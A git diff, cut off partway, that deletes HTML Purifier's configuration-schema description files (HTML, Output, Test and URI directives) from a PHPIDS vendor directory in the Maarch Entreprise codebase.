a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt +++ /dev/null @@ -1,13 +0,0 @@ -HTML.SafeEmbed -TYPE: bool -VERSION: 3.1.1 -DEFAULT: false ---DESCRIPTION-- -<p> - Whether or not to permit embed tags in documents, with a number of extra - security features added to prevent script execution. This is similar to - what websites like MySpace do to embed tags. Embed is a proprietary - element and will cause your website to stop validating; you should - see if you can use %Output.FlashCompat with %HTML.SafeObject instead - first.</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt deleted file mode 100755 index 07f6e536e37a0a65e552c7817983fd88f1c54b67..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt +++ /dev/null @@ -1,13 +0,0 @@ -HTML.SafeObject -TYPE: bool -VERSION: 3.1.1 -DEFAULT: false ---DESCRIPTION-- -<p> - Whether or not to permit object tags in documents, with a number of extra - security features added to prevent script execution. This is similar to - what websites like MySpace do to object tags. You should also enable - %Output.FlashCompat in order to generate Internet Explorer - compatibility code for your object tags. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt deleted file mode 100755 index d99663a5ee59ef13e5bf3b4460d79c5898f4e2c1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt +++ /dev/null @@ -1,9 +0,0 @@ -HTML.Strict -TYPE: bool -VERSION: 1.3.0 -DEFAULT: false -DEPRECATED-VERSION: 1.7.0 -DEPRECATED-USE: HTML.Doctype ---DESCRIPTION-- -Determines whether or not to use Transitional (loose) or Strict rulesets. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt deleted file mode 100755 index 602453f6ee64d9de3134f707c9bd8c332c32b6f4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt +++ /dev/null @@ -1,8 +0,0 @@ -HTML.TidyAdd -TYPE: lookup -VERSION: 2.0.0 -DEFAULT: array() ---DESCRIPTION-- - -Fixes to add to the default set of Tidy fixes as per your level. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt deleted file mode 100755 index bf943e8f0112e08f1d63370d754a9a3a6a7f66c8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt +++ /dev/null @@ -1,24 +0,0 @@ -HTML.TidyLevel -TYPE: string -VERSION: 2.0.0 -DEFAULT: 'medium' ---DESCRIPTION-- - -<p>General level of cleanliness the Tidy module should enforce. -There are four allowed values:</p> -<dl> - <dt>none</dt> - <dd>No extra tidying should be done</dd> - <dt>light</dt> - <dd>Only fix elements that would be discarded otherwise due to - lack of support in doctype</dd> - <dt>medium</dt> - <dd>Enforce best practices</dd> - <dt>heavy</dt> - <dd>Transform all deprecated elements and attributes to standards - compliant equivalents</dd> -</dl> - ---ALLOWED-- -'none', 'light', 'medium', 'heavy' ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt deleted file mode 100755 index 92cca2a4340a8560d483ad0ea0d7ae552a5bfd9d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt +++ /dev/null @@ -1,8 +0,0 @@ -HTML.TidyRemove -TYPE: lookup -VERSION: 2.0.0 -DEFAULT: array() ---DESCRIPTION-- - -Fixes to remove from the default set of Tidy fixes as per your level. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt deleted file mode 100755 index bc8e65499d65107bf3aa3b4758cc531c97930fa8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt +++ /dev/null @@ -1,9 +0,0 @@ -HTML.Trusted -TYPE: bool -VERSION: 2.0.0 -DEFAULT: false ---DESCRIPTION-- -Indicates whether or not the user input is trusted or not. If the input is -trusted, a more expansive set of allowed tags and attributes will be used. -See also %CSS.Trusted. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt deleted file mode 100755 index a3c2f42c3af3892b43b2e22cbd7371732a5c9d8e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt +++ /dev/null @@ -1,11 +0,0 @@ -HTML.XHTML -TYPE: bool -DEFAULT: true -VERSION: 1.1.0 -DEPRECATED-VERSION: 1.7.0 -DEPRECATED-USE: HTML.Doctype ---DESCRIPTION-- -Determines whether or not output is XHTML 1.0 or HTML 4.01 flavor. ---ALIASES-- -Core.XHTML ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.txt deleted file mode 100755 index 4a7dbc5cc2cef55fbb6efc3e77c96be397907ebb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.txt +++ /dev/null @@ -1,3 +0,0 @@ -HTML -DESCRIPTION: Configuration regarding allowed HTML. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt deleted file mode 100755 index 2a13704700d2163aaefd1b2ae83f794a3796dd61..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt +++ /dev/null @@ -1,10 +0,0 @@ -Output.CommentScriptContents -TYPE: bool -VERSION: 2.0.0 -DEFAULT: true ---DESCRIPTION-- -Determines whether or not HTML Purifier should attempt to fix up the -contents of script tags for legacy browsers with comments. ---ALIASES-- -Core.CommentScriptContents ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt deleted file mode 100755 index d215ba2d3071b4ba97502089a1dd588ea2e02376..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt +++ /dev/null @@ -1,15 +0,0 @@ -Output.FixInnerHTML -TYPE: bool -VERSION: 4.3.0 -DEFAULT: true ---DESCRIPTION-- -<p> - If true, HTML Purifier will protect against Internet Explorer's - mishandling of the <code>innerHTML</code> attribute by appending - a space to any attribute that does not contain angled brackets, spaces - or quotes, but contains a backtick. This slightly changes the - semantics of any given attribute, so if this is unacceptable and - you do not use <code>innerHTML</code> on any of your pages, you can - turn this directive off. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt deleted file mode 100755 index e58f91aa8c24aa4043e1510a937948fb32660a05..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt +++ /dev/null @@ -1,11 +0,0 @@ -Output.FlashCompat -TYPE: bool -VERSION: 4.1.0 -DEFAULT: false ---DESCRIPTION-- -<p> - If true, HTML Purifier will generate Internet Explorer compatibility - code for all object code. This is highly recommended if you enable - %HTML.SafeObject. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt deleted file mode 100755 index 4bb90252318e452f89c2dd467b9510611935b8e5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt +++ /dev/null @@ -1,13 +0,0 @@ -Output.Newline -TYPE: string/null -VERSION: 2.0.1 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - Newline string to format final output with. If left null, HTML Purifier - will auto-detect the default newline type of the system and use that; - you can manually override it here. Remember, \r\n is Windows, \r - is Mac, and \n is Unix. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt deleted file mode 100755 index 32231065179651ed696d65c24b3d766755a9a8b6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt +++ /dev/null @@ -1,14 +0,0 @@ -Output.SortAttr -TYPE: bool -VERSION: 3.2.0 -DEFAULT: false ---DESCRIPTION-- -<p> - If true, HTML Purifier will sort attributes by name before writing them back - to the document, converting a tag like: <code><el b="" a="" c="" /></code> - to <code><el a="" b="" c="" /></code>. This is a workaround for - a bug in FCKeditor which causes it to swap attributes order, adding noise - to text diffs. If you're not seeing this bug, chances are, you don't need - this directive. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt deleted file mode 100755 index 23dd4d3d5d59ffa08ad9e544679548162ce93e02..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt +++ /dev/null @@ -1,25 +0,0 @@ -Output.TidyFormat -TYPE: bool -VERSION: 1.1.1 -DEFAULT: false ---DESCRIPTION-- -<p> - Determines whether or not to run Tidy on the final output for pretty - formatting reasons, such as indentation and wrap. -</p> -<p> - This can greatly improve readability for editors who are hand-editing - the HTML, but is by no means necessary as HTML Purifier has already - fixed all major errors the HTML may have had. Tidy is a non-default - extension, and this directive will silently fail if Tidy is not - available. -</p> -<p> - If you are looking to make the overall look of your page's source - better, I recommend running Tidy on the entire page rather than just - user-content (after all, the indentation relative to the containing - blocks will be incorrect). -</p> ---ALIASES-- -Core.TidyFormat ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.txt deleted file mode 100755 index 48a6cd0d895906ab0d1f6674600c1ee9536b2a8c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.txt +++ /dev/null @@ -1,3 +0,0 @@ -Output -DESCRIPTION: Configuration relating to the generation of (X)HTML. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt deleted file mode 100755 index d1820cdbd5deb39a33c946b75a9ff551e253bc32..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt +++ /dev/null @@ -1,7 +0,0 @@ -Test.ForceNoIconv -TYPE: bool -DEFAULT: false ---DESCRIPTION-- -When set to true, HTMLPurifier_Encoder will act as if iconv does not exist -and use only pure PHP implementations. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.txt deleted file mode 100755 index f6924757138ae1fbe672258a8c3dcbab0b988049..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.txt +++ /dev/null @@ -1,3 +0,0 @@ -Test -DESCRIPTION: Developer testing configuration for our unit tests. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt deleted file mode 100755 index 47714f5d26d319c36d52050f97981f95e368dfd6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt +++ /dev/null @@ -1,17 +0,0 @@ -URI.AllowedSchemes -TYPE: lookup ---DEFAULT-- -array ( - 'http' => true, - 'https' => true, - 'mailto' => true, - 'ftp' => true, - 'nntp' => true, - 'news' => true, -) ---DESCRIPTION-- -Whitelist that defines the schemes that a URI is allowed to have. This -prevents XSS attacks from using pseudo-schemes like javascript or mocha. -There is also support for the <code>data</code> and <code>file</code> -URI schemes, but they are not enabled by default. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Base.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Base.txt deleted file mode 100755 index ba4730808fb87f736e4363610854196b7a364956..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Base.txt +++ /dev/null @@ -1,17 +0,0 @@ -URI.Base -TYPE: string/null -VERSION: 2.1.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - The base URI is the URI of the document this purified HTML will be - inserted into. This information is important if HTML Purifier needs - to calculate absolute URIs from relative URIs, such as when %URI.MakeAbsolute - is on. You may use a non-absolute URI for this value, but behavior - may vary (%URI.MakeAbsolute deals nicely with both absolute and - relative paths, but forwards-compatibility is not guaranteed). - <strong>Warning:</strong> If set, the scheme on this URI - overrides the one specified by %URI.DefaultScheme. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt deleted file mode 100755 index 0700e0b1b8303db10eec2bacabd5583228038ef7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt +++ /dev/null @@ -1,10 +0,0 @@ -URI.DefaultScheme -TYPE: string -DEFAULT: 'http' ---DESCRIPTION-- - -<p> - Defines through what scheme the output will be served, in order to - select the proper object validator when no scheme information is present. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt deleted file mode 100755 index 523204c08a97f0dfacabb6b787de17e655056b40..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt +++ /dev/null @@ -1,11 +0,0 @@ -URI.DefinitionID -TYPE: string/null -VERSION: 2.1.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - Unique identifier for a custom-built URI definition. If you want - to add custom URIFilters, you must specify this value. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt deleted file mode 100755 index a9c07b1a392efd8b430b0e6c4419199401452531..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt +++ /dev/null @@ -1,11 +0,0 @@ -URI.DefinitionRev -TYPE: int -VERSION: 2.1.0 -DEFAULT: 1 ---DESCRIPTION-- - -<p> - Revision identifier for your custom definition. See - %HTML.DefinitionRev for details. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt deleted file mode 100755 index b19ca1d5b802d9ab6116e41d38c8fb34ba83b9e2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt +++ /dev/null @@ -1,14 +0,0 @@ -URI.Disable -TYPE: bool -VERSION: 1.3.0 -DEFAULT: false ---DESCRIPTION-- - -<p> - Disables all URIs in all forms. Not sure why you'd want to do that - (after all, the Internet's founded on the notion of a hyperlink). -</p> - ---ALIASES-- -Attr.DisableURI ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt deleted file mode 100755 index 9132ea4f5f68efb1d43143ac47dba276fadf7895..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt +++ /dev/null @@ -1,11 +0,0 @@ -URI.DisableExternal -TYPE: bool -VERSION: 1.2.0 -DEFAULT: false ---DESCRIPTION-- -Disables links to external websites. This is a highly effective anti-spam -and anti-pagerank-leech measure, but comes at a hefty price: nolinks or -images outside of your domain will be allowed. Non-linkified URIs will -still be preserved. If you want to be able to link to subdomains or use -absolute URIs, specify %URI.Host for your website. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt deleted file mode 100755 index d74bc1e3da6bce985448e4c92a41f59fa43a5636..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt +++ /dev/null @@ -1,13 +0,0 @@ -URI.DisableExternalResources -TYPE: bool -VERSION: 1.3.0 -DEFAULT: false ---DESCRIPTION-- -Disables the embedding of external resources, preventing users from -embedding things like images from other hosts. This prevents access -tracking (good for email viewers), bandwidth leeching, cross-site request -forging, goatse.cx posting, and other nasties, but also results in a loss -of end-user functionality (they can't directly post a pic they posted from -Flickr anymore). Use it if you don't have a robust user-content moderation -team. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt deleted file mode 100755 index 6c106144a00a32ed1af9c803f02de43d1e6bc7cf..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt +++ /dev/null @@ -1,15 +0,0 @@ -URI.DisableResources -TYPE: bool -VERSION: 4.2.0 -DEFAULT: false ---DESCRIPTION-- -<p> - Disables embedding resources, essentially meaning no pictures. You can - still link to them though. See %URI.DisableExternalResources for why - this might be a good idea. -</p> -<p> - <em>Note:</em> While this directive has been available since 1.3.0, - it didn't actually start doing anything until 4.2.0. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Host.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Host.txt deleted file mode 100755 index ba0e6bce194a1895c07260c5fe73c3499a2058cb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Host.txt +++ /dev/null @@ -1,19 +0,0 @@ -URI.Host -TYPE: string/null -VERSION: 1.2.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - Defines the domain name of the server, so we can determine whether or - an absolute URI is from your website or not. Not strictly necessary, - as users should be using relative URIs to reference resources on your - website. It will, however, let you use absolute URIs to link to - subdomains of the domain you post here: i.e. example.com will allow - sub.example.com. However, higher up domains will still be excluded: - if you set %URI.Host to sub.example.com, example.com will be blocked. - <strong>Note:</strong> This directive overrides %URI.Base because - a given page may be on a sub-domain, but you wish HTML Purifier to be - more relaxed and allow some of the parent domains too. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt deleted file mode 100755 index 825fef2769438ec467ccbd5f961e52cae8bb545d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt +++ /dev/null @@ -1,9 +0,0 @@ -URI.HostBlacklist -TYPE: list -VERSION: 1.3.0 -DEFAULT: array() ---DESCRIPTION-- -List of strings that are forbidden in the host of any URI. Use it to kill -domain names of spam, etc. Note that it will catch anything in the domain, -so <tt>moo.com</tt> will catch <tt>moo.com.example.com</tt>. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt deleted file mode 100755 index eb58c7f1a456a9d10400d30fe1a18464fff1fe8f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt +++ /dev/null @@ -1,13 +0,0 @@ -URI.MakeAbsolute -TYPE: bool -VERSION: 2.1.0 -DEFAULT: false ---DESCRIPTION-- - -<p> - Converts all URIs into absolute forms. This is useful when the HTML - being filtered assumes a specific base path, but will actually be - viewed in a different context (and setting an alternate base URI is - not possible). %URI.Base must be set for this directive to work. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt deleted file mode 100755 index bedd610d6698baf75ce10b093b75c58d4e91bd1c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt +++ /dev/null @@ -1,83 +0,0 @@ -URI.Munge -TYPE: string/null -VERSION: 1.3.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - Munges all browsable (usually http, https and ftp) - absolute URIs into another URI, usually a URI redirection service. - This directive accepts a URI, formatted with a <code>%s</code> where - the url-encoded original URI should be inserted (sample: - <code>http://www.google.com/url?q=%s</code>). -</p> -<p> - Uses for this directive: -</p> -<ul> - <li> - Prevent PageRank leaks, while being fairly transparent - to users (you may also want to add some client side JavaScript to - override the text in the statusbar). <strong>Notice</strong>: - Many security experts believe that this form of protection does not deter spam-bots. - </li> - <li> - Redirect users to a splash page telling them they are leaving your - website. While this is poor usability practice, it is often mandated - in corporate environments. - </li> -</ul> -<p> - Prior to HTML Purifier 3.1.1, this directive also enabled the munging - of browsable external resources, which could break things if your redirection - script was a splash page or used <code>meta</code> tags. To revert to - previous behavior, please use %URI.MungeResources. -</p> -<p> - You may want to also use %URI.MungeSecretKey along with this directive - in order to enforce what URIs your redirector script allows. Open - redirector scripts can be a security risk and negatively affect the - reputation of your domain name. -</p> -<p> - Starting with HTML Purifier 3.1.1, there is also these substitutions: -</p> -<table> - <thead> - <tr> - <th>Key</th> - <th>Description</th> - <th>Example <code><a href=""></code></th> - </tr> - </thead> - <tbody> - <tr> - <td>%r</td> - <td>1 - The URI embeds a resource<br />(blank) - The URI is merely a link</td> - <td></td> - </tr> - <tr> - <td>%n</td> - <td>The name of the tag this URI came from</td> - <td>a</td> - </tr> - <tr> - <td>%m</td> - <td>The name of the attribute this URI came from</td> - <td>href</td> - </tr> - <tr> - <td>%p</td> - <td>The name of the CSS property this URI came from, or blank if irrelevant</td> - <td></td> - </tr> - </tbody> -</table> -<p> - Admittedly, these letters are somewhat arbitrary; the only stipulation - was that they couldn't be a through f. r is for resource (I would have preferred - e, but you take what you can get), n is for name, m - was picked because it came after n (and I couldn't use a), p is for - property. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt deleted file mode 100755 index 